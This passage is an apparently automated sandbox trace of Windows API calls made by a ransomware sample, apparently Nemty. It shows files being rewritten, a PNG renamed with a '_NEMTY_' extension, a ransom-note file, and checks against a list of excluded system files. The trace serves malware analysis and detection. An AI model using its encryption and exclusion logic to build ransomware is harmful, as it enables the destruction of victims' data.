lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.391] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.391] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.401] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.401] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.410] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.410] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.410] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.420] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.420] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.429] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.439] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.439] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.448] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.458] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.467] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.477] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.477] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.477] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0063.489] CloseHandle (hObject=0xffffffff) returned 0 [0063.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0063.489] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0063.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0063.489] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0063.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0063.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0063.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0063.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0063.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0063.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0063.489] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png._nemty_kgobjgd_")) returned 0 [0063.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0063.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0063.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0063.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0063.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0063.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0063.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0063.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0063.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0063.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.490] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8967b90, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd8967b90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd8967b90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0063.490] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0063.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0063.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.490] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0063.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0063.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0063.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0063.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0063.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0063.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0063.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0063.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0063.491] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0063.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0063.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0063.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0063.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.491] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8967b90, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd8967b90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd8967b90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0063.491] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0063.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0063.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0063.491] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0063.491] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0063.491] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2=".") returned 1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="..") returned 1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="...") returned 1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="windows") returned -1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="rsa") returned -1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="ntldr") returned -1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="MSDOS.SYS") returned -1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="IO.SYS") returned -1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="programdata") returned -1 [0063.492] lstrcmpiW (lpString1="Heart_ButtonGraphic.png", lpString2="appdata") returned 1 [0063.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0063.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_ButtonGraphic.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0063.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_ButtonGraphic.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heart_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 23 [0063.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0063.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_ButtonGraphic.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0063.492] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Heart_ButtonGraphic.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Heart_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 23 [0063.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0063.492] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 